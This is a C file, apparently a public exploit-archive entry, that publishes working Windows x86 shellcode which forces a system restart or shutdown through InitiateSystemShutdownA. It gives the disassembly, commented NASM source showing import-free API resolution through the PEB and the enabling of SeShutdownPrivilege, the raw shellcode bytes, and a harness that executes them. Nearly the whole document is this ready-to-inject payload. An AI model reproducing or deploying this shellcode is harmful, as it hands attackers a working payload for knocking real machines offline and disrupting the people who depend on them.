40259.c

/*
	# Title: Windows x86 InitiateSystemShutdownA() shellcode
	# Date : 18-08-2016
	# Author : Roziul Hasan Khan Shifat
	# Tested on : Windows 7 x86 starter
*/


/*
Disassembly of section .text:

00000000 <_start>:
   0:	31 c9                	xor    %ecx,%ecx
   2:	64 8b 41 30          	mov    %fs:0x30(%ecx),%eax
   6:	8b 40 0c             	mov    0xc(%eax),%eax
   9:	8b 70 14             	mov    0x14(%eax),%esi
   c:	ad                   	lods   %ds:(%esi),%eax
   d:	96                   	xchg   %eax,%esi
   e:	ad                   	lods   %ds:(%esi),%eax
   f:	8b 48 10             	mov    0x10(%eax),%ecx
  12:	8b 59 3c             	mov    0x3c(%ecx),%ebx
  15:	01 cb                	add    %ecx,%ebx
  17:	8b 5b 78             	mov    0x78(%ebx),%ebx
  1a:	01 cb                	add    %ecx,%ebx
  1c:	8b 73 20             	mov    0x20(%ebx),%esi
  1f:	01 ce                	add    %ecx,%esi
  21:	31 d2                	xor    %edx,%edx

00000023 <g>:
  23:	42                   	inc    %edx
  24:	ad                   	lods   %ds:(%esi),%eax
  25:	01 c8                	add    %ecx,%eax
  27:	81 38 47 65 74 50    	cmpl   $0x50746547,(%eax)
  2d:	75 f4                	jne    23 <g>
  2f:	81 78 04 72 6f 63 41 	cmpl   $0x41636f72,0x4(%eax)
  36:	75 eb                	jne    23 <g>
  38:	81 78 08 64 64 72 65 	cmpl   $0x65726464,0x8(%eax)
  3f:	75 e2                	jne    23 <g>
  41:	8b 73 1c             	mov    0x1c(%ebx),%esi
  44:	01 ce                	add    %ecx,%esi
  46:	8b 14 96             	mov    (%esi,%edx,4),%edx
  49:	01 ca                	add    %ecx,%edx
  4b:	89 cf                	mov    %ecx,%edi
  4d:	31 c0                	xor    %eax,%eax
  4f:	50                   	push   %eax
  50:	83 ec 1c             	sub    $0x1c,%esp
  53:	8d 34 24             	lea    (%esp),%esi
  56:	89 16                	mov    %edx,(%esi)
  58:	50                   	push   %eax
  59:	68 6f 6b 65 6e       	push   $0x6e656b6f
  5e:	68 65 73 73 54       	push   $0x54737365
  63:	68 50 72 6f 63       	push   $0x636f7250
  68:	68 4f 70 65 6e       	push   $0x6e65704f
  6d:	8d 04 24             	lea    (%esp),%eax
  70:	50                   	push   %eax
  71:	51                   	push   %ecx
  72:	ff d2                	call   *%edx
  74:	89 46 04             	mov    %eax,0x4(%esi)
  77:	83 c4 10             	add    $0x10,%esp
  7a:	31 c9                	xor    %ecx,%ecx
  7c:	68 73 41 42 42       	push   $0x42424173
  81:	88 4c 24 01          	mov    %cl,0x1(%esp)
  85:	68 6f 63 65 73       	push   $0x7365636f
  8a:	68 6e 74 50 72       	push   $0x7250746e
  8f:	68 75 72 72 65       	push   $0x65727275
  94:	68 47 65 74 43       	push   $0x43746547
  99:	8d 0c 24             	lea    (%esp),%ecx
  9c:	51                   	push   %ecx
  9d:	57                   	push   %edi
  9e:	8b 16                	mov    (%esi),%edx
  a0:	ff d2                	call   *%edx
  a2:	83 c4 14             	add    $0x14,%esp
  a5:	89 46 08             	mov    %eax,0x8(%esi)
  a8:	31 c9                	xor    %ecx,%ecx
  aa:	68 65 73 73 41       	push   $0x41737365
  af:	88 4c 24 03          	mov    %cl,0x3(%esp)
  b3:	68 50 72 6f 63       	push   $0x636f7250
  b8:	68 45 78 69 74       	push   $0x74697845
  bd:	8d 0c 24             	lea    (%esp),%ecx
  c0:	51                   	push   %ecx
  c1:	57                   	push   %edi
  c2:	8b 16                	mov    (%esi),%edx
  c4:	ff d2                	call   *%edx
  c6:	83 c4 0c             	add    $0xc,%esp
  c9:	89 46 0c             	mov    %eax,0xc(%esi)
  cc:	31 c9                	xor    %ecx,%ecx
  ce:	51                   	push   %ecx
  cf:	68 61 72 79 41       	push   $0x41797261
  d4:	68 4c 69 62 72       	push   $0x7262694c
  d9:	68 4c 6f 61 64       	push   $0x64616f4c
  de:	8d 0c 24             	lea    (%esp),%ecx
  e1:	51                   	push   %ecx
  e2:	57                   	push   %edi
  e3:	8b 16                	mov    (%esi),%edx
  e5:	ff d2                	call   *%edx
  e7:	83 c4 0c             	add    $0xc,%esp
  ea:	68 2e 64 6c 6c       	push   $0x6c6c642e
  ef:	68 70 69 33 32       	push   $0x32336970
  f4:	68 61 64 76 61       	push   $0x61766461
  f9:	8d 0c 24             	lea    (%esp),%ecx
  fc:	51                   	push   %ecx
  fd:	ff d0                	call   *%eax
  ff:	83 c4 0c             	add    $0xc,%esp
 102:	89 c7                	mov    %eax,%edi
 104:	31 c9                	xor    %ecx,%ecx
 106:	68 41 42 42 42       	push   $0x42424241
 10b:	88 4c 24 01          	mov    %cl,0x1(%esp)
 10f:	68 61 6c 75 65       	push   $0x65756c61
 114:	68 65 67 65 56       	push   $0x56656765
 119:	68 69 76 69 6c       	push   $0x6c697669
 11e:	68 75 70 50 72       	push   $0x72507075
 123:	68 4c 6f 6f 6b       	push   $0x6b6f6f4c
 128:	8d 0c 24             	lea    (%esp),%ecx
 12b:	51                   	push   %ecx
 12c:	50                   	push   %eax
 12d:	8b 16                	mov    (%esi),%edx
 12f:	ff d2                	call   *%edx
 131:	83 c4 18             	add    $0x18,%esp
 134:	89 46 10             	mov    %eax,0x10(%esi)
 137:	31 c9                	xor    %ecx,%ecx
 139:	68 73 41 41 41       	push   $0x41414173
 13e:	88 4c 24 01          	mov    %cl,0x1(%esp)
 142:	68 6c 65 67 65       	push   $0x6567656c
 147:	68 72 69 76 69       	push   $0x69766972
 14c:	68 6b 65 6e 50       	push   $0x506e656b
 151:	68 73 74 54 6f       	push   $0x6f547473
 156:	68 41 64 6a 75       	push   $0x756a6441
 15b:	8d 0c 24             	lea    (%esp),%ecx
 15e:	51                   	push   %ecx
 15f:	57                   	push   %edi
 160:	8b 16                	mov    (%esi),%edx
 162:	ff d2                	call   *%edx
 164:	83 c4 18             	add    $0x18,%esp
 167:	89 46 14             	mov    %eax,0x14(%esi)
 16a:	31 c9                	xor    %ecx,%ecx
 16c:	68 77 6e 41 42       	push   $0x42416e77
 171:	88 4c 24 03          	mov    %cl,0x3(%esp)
 175:	68 75 74 64 6f       	push   $0x6f647475
 17a:	68 65 6d 53 68       	push   $0x68536d65
 17f:	68 53 79 73 74       	push   $0x74737953
 184:	68 69 61 74 65       	push   $0x65746169
 189:	68 49 6e 69 74       	push   $0x74696e49
 18e:	8d 0c 24             	lea    (%esp),%ecx
 191:	51                   	push   %ecx
 192:	57                   	push   %edi
 193:	8b 16                	mov    (%esi),%edx
 195:	ff d2                	call   *%edx
 197:	83 c4 18             	add    $0x18,%esp
 19a:	89 46 18             	mov    %eax,0x18(%esi)
 19d:	31 c0                	xor    %eax,%eax
 19f:	50                   	push   %eax
 1a0:	83 ec 14             	sub    $0x14,%esp
 1a3:	8d 3c 24             	lea    (%esp),%edi

000001a6 <proc_start>:
 1a6:	8b 46 08             	mov    0x8(%esi),%eax
 1a9:	ff d0                	call   *%eax
 1ab:	31 d2                	xor    %edx,%edx
 1ad:	8d 17                	lea    (%edi),%edx
 1af:	52                   	push   %edx
 1b0:	31 c9                	xor    %ecx,%ecx
 1b2:	b1 28                	mov    $0x28,%cl
 1b4:	51                   	push   %ecx
 1b5:	50                   	push   %eax
 1b6:	8b 4e 04             	mov    0x4(%esi),%ecx
 1b9:	ff d1                	call   *%ecx
 1bb:	8d 57 04             	lea    0x4(%edi),%edx
 1be:	8d 52 04             	lea    0x4(%edx),%edx
 1c1:	8d 12                	lea    (%edx),%edx
 1c3:	31 c9                	xor    %ecx,%ecx
 1c5:	68 65 67 65 41       	push   $0x41656765
 1ca:	88 4c 24 03          	mov    %cl,0x3(%esp)
 1ce:	68 69 76 69 6c       	push   $0x6c697669
 1d3:	68 77 6e 50 72       	push   $0x72506e77
 1d8:	68 75 74 64 6f       	push   $0x6f647475
 1dd:	68 53 65 53 68       	push   $0x68536553
 1e2:	8d 0c 24             	lea    (%esp),%ecx
 1e5:	31 db                	xor    %ebx,%ebx
 1e7:	52                   	push   %edx
 1e8:	51                   	push   %ecx
 1e9:	53                   	push   %ebx
 1ea:	8b 5e 10             	mov    0x10(%esi),%ebx
 1ed:	ff d3                	call   *%ebx
 1ef:	8d 57 04             	lea    0x4(%edi),%edx
 1f2:	31 c9                	xor    %ecx,%ecx
 1f4:	41                   	inc    %ecx
 1f5:	89 0a                	mov    %ecx,(%edx)
 1f7:	8d 52 04             	lea    0x4(%edx),%edx
 1fa:	41                   	inc    %ecx
 1fb:	89 4a 08             	mov    %ecx,0x8(%edx)
 1fe:	31 d2                	xor    %edx,%edx
 200:	52                   	push   %edx
 201:	52                   	push   %edx
 202:	52                   	push   %edx
 203:	8d 57 04             	lea    0x4(%edi),%edx
 206:	52                   	push   %edx
 207:	31 d2                	xor    %edx,%edx
 209:	52                   	push   %edx
 20a:	8b 17                	mov    (%edi),%edx
 20c:	52                   	push   %edx
 20d:	8b 56 14             	mov    0x14(%esi),%edx
 210:	ff d2                	call   *%edx
 212:	31 c9                	xor    %ecx,%ecx
 214:	51                   	push   %ecx
 215:	68 6e 64 73 21       	push   $0x2173646e
 21a:	68 73 65 63 6f       	push   $0x6f636573
 21f:	68 41 20 33 20       	push   $0x20332041
 224:	68 6d 2e 45 54       	push   $0x54452e6d
 229:	68 79 73 74 65       	push   $0x65747379
 22e:	68 6e 67 20 53       	push   $0x5320676e
 233:	68 61 72 74 49       	push   $0x49747261
 238:	68 52 65 73 74       	push   $0x74736552
 23d:	8d 1c 24             	lea    (%esp),%ebx
 240:	41                   	inc    %ecx
 241:	51                   	push   %ecx
 242:	31 c9                	xor    %ecx,%ecx
 244:	51                   	push   %ecx
 245:	b1 03                	mov    $0x3,%cl
 247:	51                   	push   %ecx
 248:	53                   	push   %ebx
 249:	31 c9                	xor    %ecx,%ecx
 24b:	51                   	push   %ecx
 24c:	8b 4e 18             	mov    0x18(%esi),%ecx
 24f:	ff d1                	call   *%ecx
 251:	8b 4e 0c             	mov    0xc(%esi),%ecx
 254:	50                   	push   %eax
 255:	ff d1                	call   *%ecx


*/



/*
HANDLE 4 bytes
TOKEN_PRIVILEGES 16 bytes

TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY = 40 
LUID_AND_ATTRIBUTES 12 bytes
LUID 8 bytes
SE_SHUTDOWN_NAME = "SeShutdownPrivilege"
SE_PRIVILEGE_ENABLED = 2


required functions:

1.  WINADVAPI WINBOOL WINAPI OpenProcessToken (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
2.  WINBASEAPI HANDLE WINAPI GetCurrentProcess (VOID);

3.  WINADVAPI WINBOOL WINAPI LookupPrivilegeValueA (LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);
4.  WINADVAPI WINBOOL WINAPI AdjustTokenPrivileges (HANDLE TokenHandle, WINBOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);
5.  WINADVAPI WINBOOL WINAPI InitiateSystemShutdownA(LPSTR lpMachineName,LPSTR lpMessage,DWORD dwTimeout,WINBOOL bForceAppsClosed,WINBOOL bRebootAfterShutdown);

6.GetProcAddress()
7.ExitProcess()
8.LoadLibraryA() [1 time use]



required dll:

1.kernel32.dll
2.kernel32.dll

3.advapi32.dll
4.advapi32.dll
5.advapi32.dll

6.kernel32.dll
7.kernel32.dll
8.kernel32.dll


required macro and custom data types:


#define ANYSIZE_ARRAY 1
	
	
	 typedef struct _TOKEN_PRIVILEGES {
      DWORD PrivilegeCount;
      LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
    } TOKEN_PRIVILEGES,*PTOKEN_PRIVILEGES;
	
	
	 typedef struct _LUID_AND_ATTRIBUTES {
      LUID Luid;
      DWORD Attributes;
    } LUID_AND_ATTRIBUTES,*PLUID_AND_ATTRIBUTES;
    typedef LUID_AND_ATTRIBUTES LUID_AND_ATTRIBUTES_ARRAY[ANYSIZE_ARRAY];
    typedef LUID_AND_ATTRIBUTES_ARRAY *PLUID_AND_ATTRIBUTES_ARRAY;
	
	
	
	 typedef struct _LUID {
    DWORD LowPart;
    LONG HighPart;
  } LUID,*PLUID;
	

c code:


#include <windows.h>
#include<stdio.h>
#include<process.h>
#include<io.h>

int main(){
	HANDLE h;
	TOKEN_PRIVILEGES t;
	if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&h))
	return 0;
	
	
	
	
	LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&t.Privileges[0].Luid);
	t.PrivilegeCount=1;
	t.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
	
	
	
	AdjustTokenPrivileges(h, FALSE, &t, 0,NULL, 0);
	
	InitiateSystemShutdown(NULL,"shutting",10,FALSE,1);
}
*/

/*
section .text
	global _start
_start:

xor ecx,ecx

mov eax,[fs:ecx+0x30] ;PEB
mov eax,[eax+0xc] ;PEB->Ldr
mov esi,[eax+0x14] ;PEB->ldr.InMemOrderModuleList
lodsd
xchg esi,eax
lodsd
mov ecx,[eax+0x10] ;kernel32.dll base address


mov ebx,[ecx+0x3c] ;DOS->elf_anew
add ebx,ecx ;PE HEADER
mov ebx,[ebx+0x78] ;DataDirectory->VirtualAddress
add ebx,ecx ;IMAGE_EXPORT_DIRECTORY


mov esi,[ebx+0x20] ;AddressOfNames
add esi,ecx

xor edx,edx

g:
inc edx
lodsd
add eax,ecx
cmp dword [eax],'GetP'
jnz g
cmp dword [eax+4],'rocA'
jnz g
cmp dword [eax+8],'ddre'
jnz g


mov esi,[ebx+0x1c] ;AddressOfFunctions
add esi,ecx

mov edx,[esi+edx*4]
add edx,ecx ;GetProcAddress()

mov edi,ecx ;kernel32.dll

xor eax,eax
push eax
sub esp,28

lea esi,[esp]

mov [esi],dword edx ;GetProcAddress() at offset 0


;---------------------------------
;finding address of OpenProcessToken()

push eax
push 0x6e656b6f
push 0x54737365
push 0x636f7250
push 0x6e65704f

lea eax,[esp]
push eax
push ecx

call edx
;-----------------------------------
mov [esi+4],dword eax ;OpenProcessToken() at offset 4
add esp,0x10
;-------------------------

;finding address of GetCurrentProcess()
xor ecx,ecx
push 0x42424173
mov [esp+1],byte cl
push 0x7365636f
push 0x7250746e
push 0x65727275
push 0x43746547


lea ecx,[esp]
push ecx
push edi

mov edx,dword [esi]
call edx
;-------------------------
add esp,20
mov [esi+8],dword eax ;GetCurrentProcess() at offset 8
;----------------------------------

;finding address of ExitProcess()
xor ecx,ecx
push 0x41737365
mov [esp+3],byte cl
push 0x636f7250
push 0x74697845

lea ecx,[esp]

push ecx
push edi
mov edx,dword [esi]
call edx
;-----------------------
add esp,12
mov [esi+12],dword eax ;ExitProcess() at offset 12
;-------------------------------------------

;finding address of LoadLibraryA()
xor ecx,ecx
push ecx
push 0x41797261
push 0x7262694c
push 0x64616f4c

lea ecx,[esp]
push ecx
push edi

mov edx,dword [esi]
call edx
;--------------------
add esp,12

;LoadLibraryA("advapi32.dll")
push 0x6c6c642e
push 0x32336970
push 0x61766461

lea ecx,[esp]
push ecx
call eax
;--------------------------
add esp,12
mov edi,eax ; advapi32.dll
;------------------------------
;finding address of LookupPrivilegeValueA()
xor ecx,ecx
push 0x42424241
mov [esp+1],byte cl
push 0x65756c61
push 0x56656765
push 0x6c697669
push 0x72507075
push 0x6b6f6f4c


lea ecx,[esp]
push ecx
push eax

mov edx,dword [esi]
call edx

;---------------------------
add esp,0x18
mov [esi+16],dword eax ;LookupPrivilegeValueA() at offset 16
;-------------------------

;finding address of AdjustTokenPrivileges()
xor ecx,ecx
push 0x41414173
mov [esp+1],byte cl
push 0x6567656c
push 0x69766972
push 0x506e656b
push 0x6f547473
push 0x756a6441

lea ecx,[esp]
push ecx
push edi

mov edx,dword [esi]
call edx
;------------------------------------
add esp,0x18
mov [esi+20],dword eax ;AdjustTokenPrivileges() at offset 20
;---------------------------

;finding address of InitiateSystemShutdownA()

xor ecx,ecx
push 0x42416e77
mov [esp+3],byte cl
push 0x6f647475
push 0x68536d65
push 0x74737953
push 0x65746169
push 0x74696e49


lea ecx,[esp]
push ecx
push edi

mov edx,dword [esi]
call edx
;-------------------------
add esp,0x18
mov [esi+24],dword eax ;InitiateSystemShutdownA() at offset 24
;-------------------------

xor eax,eax
push eax


sub esp,20
lea edi,[esp] ;HANDLE+TOKEN_PRIVILEGES address


;---------------------------------
;GetProcAddress() at offset 0
;OpenProcessToken() at offset 4
;GetCurrentProcess() at offset 8
;ExitProcess() at offset 12
;LookupPrivilegeValueA() at offset 16
;AdjustTokenPrivileges() at offset 20
;InitiateSystemShutdownA() at offset 24

;----------------------------------------



proc_start:

;---------------------------
;GetCurrentProcess()

mov eax,[esi+8]
call eax

;----------------------------
;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&HANDLE)

xor edx,edx
lea edx,[edi]
push edx
xor ecx,ecx
mov cl,40

push ecx
push eax

mov ecx,[esi+4]
call ecx

;--------------------------
;LookupPrivilegeValueA(NULL,SE_SHUTDOWN_NAME,&TOKEN_PRIVILEGES.Privileges[0].Luid);

lea edx,[edi+4]
lea edx,[edx+4]


lea edx,[edx]

xor ecx,ecx

push 0x41656765
mov [esp+3],byte cl
push 0x6c697669
push 0x72506e77
push 0x6f647475
push 0x68536553

lea ecx,[esp]


xor ebx,ebx


push edx
push ecx
push ebx

mov ebx,[esi+16]
call ebx
;----------------------------------
;AdjustTokenPrivileges(HANDLE, FALSE, &TOKEN_PRIVILEGES, 0,NULL, 0);
lea edx,[edi+4]
xor ecx,ecx
inc ecx
mov [edx],dword ecx
lea edx,[edx+4]
inc ecx
mov [edx+8],dword ecx

xor edx,edx
push edx
push edx
push edx

lea edx,[edi+4]
push edx

xor edx,edx
push edx

mov edx,dword [edi]

push edx

mov edx,[esi+20]
call edx

;----------------------------
;InitiateSystemShutdownA(NULL,"RestartIng System.ETA 3 seconds!",3,FALSE,1);

xor ecx,ecx


;--------------------------
push ecx
push 0x2173646e
push 0x6f636573
push 0x20332041
push 0x54452e6d
push 0x65747379
push 0x5320676e
push 0x49747261
push 0x74736552


lea ebx,[esp] ;Message "RestartIng System.ETA 3 seconds!"
;------------------------------

inc ecx ;if U want to shutdown system , just remove this line

push ecx

xor ecx,ecx
push ecx

mov cl,3 ;3 seconds
push ecx
push ebx 
xor ecx,ecx
push ecx


mov ecx,[esi+24]
call ecx

;--------------------------
;Exiting
mov ecx,[esi+12]
push eax
call ecx
*/


#include<stdio.h>
#include<string.h>
char shellcode[]=\

"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x89\xcf\x31\xc0\x50\x83\xec\x1c\x8d\x34\x24\x89\x16\x50\x68\x6f\x6b\x65\x6e\x68\x65\x73\x73\x54\x68\x50\x72\x6f\x63\x68\x4f\x70\x65\x6e\x8d\x04\x24\x50\x51\xff\xd2\x89\x46\x04\x83\xc4\x10\x31\xc9\x68\x73\x41\x42\x42\x88\x4c\x24\x01\x68\x6f\x63\x65\x73\x68\x6e\x74\x50\x72\x68\x75\x72\x72\x65\x68\x47\x65\x74\x43\x8d\x0c\x24\x51\x57\x8b\x16\xff\xd2\x83\xc4\x14\x89\x46\x08\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\x8b\x16\xff\xd2\x83\xc4\x0c\x89\x46\x0c\x31\xc9\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x8d\x0c\x24\x51\x57\x8b\x16\xff\xd2\x83\xc4\x0c\x68\x2e\x64\x6c\x6c\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x8d\x0c\x24\x51\xff\xd0\x83\xc4\x0c\x89\xc7\x31\xc9\x68\x41\x42\x42\x42\x88\x4c\x24\x01\x68\x61\x6c\x75\x65\x68\x65\x67\x65\x56\x68\x69\x76\x69\x6c\x68\x75\x70\x50\x72\x68\x4c\x6f\x6f\x6b\x8d\x0c\x24\x51\x50\x8b\x16\xff\xd2\x83\xc4\x18\x89\x46\x10\x31\xc9\x68\x73\x41\x41\x41\x88\x4c\x24\x01\x68\x6c\x65\x67\x65\x68\x72\x69\x76\x69\x68\x6b\x65\x6e\x50\x68\x73\x74\x54\x6f\x68\x41\x64\x6a\x75\x8d\x0c\x24\x51\x57\x8b\x16\xff\xd2\x83\xc4\x18\x89\x46\x14\x31\xc9\x68\x77\x6e\x41\x42\x88\x4c\x24\x03\x68\x75\x74\x64\x6f\x68\x65\x6d\x53\x68\x68\x53\x79\x73\x74\x68\x69\x61\x74\x65\x68\x49\x6e\x69\x74\x8d\x0c\x24\x51\x57\x8b\x16\xff\xd2\x83\xc4\x18\x89\x46\x18\x31\xc0\x50\x83\xec\x14\x8d\x3c\x24\x8b\x46\x08\xff\xd0\x31\xd2\x8d\x17\x52\x31\xc9\xb1\x28\x51\x50\x8b\x4e\x04\xff\xd1\x8d\x57\x04\x8d\x52\x04\x8d\x12\x31\xc9\x68\x65\x67\x65\x41\x88\x4c\x24\x03\x68\x69\x76\x69\x6c\x68\x77\x6e\x50\x72\x68\x75\x74\x64\x6f\x68\x53\x65\x53\x68\x8d\x0c\x24\x31\xdb\x52\x51\x53\x8b\x5e\x10\xff\xd3\x8d\x57\x04\x31\xc9\x41\x89\x0a\x8d\x52\x04\x41\x89\x4a\x08\x31\xd2\x52\x52\x52\x8d\x57\x04\x52\x31\xd2\x52\x8b\x17\x52\x8b\x56\x14\xff\xd2\x31\xc9\x51\x68\x6e\x64\x73\x21\x68\x73\x65\x63\x6f\x68\x41\x20\x33\x20\x68\x6d\x2e\x45\x54\x68\x79\x73\x74\x65\x68\x6e\x67\x20\x53\x68\x61\x72\x74\x49\x68\x52\x65\x73\x74\x8d\x1c\x24\x41\x51\x31\xc9\x51\xb1\x03\x51\x53\x31\xc9\x51\x8b\x4e\x18\xff\xd1\x8b\x4e\x0c\x50\xff\xd1";

main()
{
printf("shellcode lenght %ld\n",(long)strlen(shellcode));
(* (int(*)()) shellcode) ();
}